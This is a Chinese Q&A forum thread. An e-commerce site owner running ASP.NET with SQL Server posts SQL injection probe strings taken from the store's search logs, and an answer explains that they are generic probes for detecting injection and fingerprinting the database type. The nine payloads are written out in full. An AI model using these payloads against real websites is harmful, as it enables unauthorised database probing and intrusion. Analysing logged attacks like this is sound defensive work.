一尘不染

商店搜索中的SQL注入模式

sql

从今天早上开始,我们开始在电子商务商店中关注搜索查询。我了解它的SQL注入。我们也在使用参数化查询。因此,它没有造成任何伤害。但是由于要进行查询,全文搜索需要花费一些时间才能处理,最终导致超时,并且网站被挂起了一段时间。

随即,我将最大的租船人搜索限制为75,并增加了检测sql注入并防止它到达sql server的逻辑,以提高安全性。

我们的环境:带有全文搜索的ASP.Net电子商务站点SQL Server 2012 Express DB。Windows 2012标准服务器。

只想知道搜索者正在尝试理解/研究的内容吗? 还是他们只是想挂掉网站?经过上述修复后,可以安全地忽略它吗?

搜索词在下面给出。“输入型号或墨盒代码”是我们的默认搜索文本框文本。

Enter Model Number or Cartridge Code) AND 2895=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (2895=2895) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)||CHR(62))) FROM DUAL) AND (9170=9170

Enter Model Number or Cartridge Code’) AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733=3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113))) AND (‘KzHP’=’KzHP

Enter Model Number or Cartridge Code%’ AND (SELECT 2396 FROM(SELECT COUNT(),CONCAT(0x7170617a71,(SELECT (CASE WHEN (2396=2396) THEN 1 ELSE 0 END)),0x7177637971,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ‘%’=’

Enter Model Number or Cartridge Code%’ AND 4201=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(97)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4201=4201) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(99)+CHAR(121)+CHAR(113))) AND ‘%’=’

Enter Model Number or Cartridge Code’) AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS NUMERIC) AND (‘iWJF’=’iWJF

Enter Model Number or Cartridge Code AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733=3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113)))– ZgIZ

Enter Model Number or Cartridge Code) AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS NUMERIC) AND (8167=8167

Enter Model Number or Cartridge Code AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733=3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113)))

Enter Model Number or Cartridge Code AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS NUMERIC)– CuDa


阅读 157

收藏
2021-05-16

共1个答案

一尘不染

作为SQL注入专家,这些似乎只是通用查询,以了解是否存在SQL注入以及它是哪种数据库类型。您可以看到,在某些情况下,他使用的是CHR(即Oracle的从版本到数字的版本),在其他情况下,他使用的是CHAR(即其他DB的函数名(SQL
Server)),在另一种情况下,他使用了INFORMATION_SCHEMA.CHARACTER_SETS
table是MySQL中的表格。他只需发送几个常规查询来查找进样和数据库类型。但是,如果您的站点对此感到困惑,则除了长度验证外,还应该对特殊字符(方括号?)进行一些更好的输入验证

2021-05-16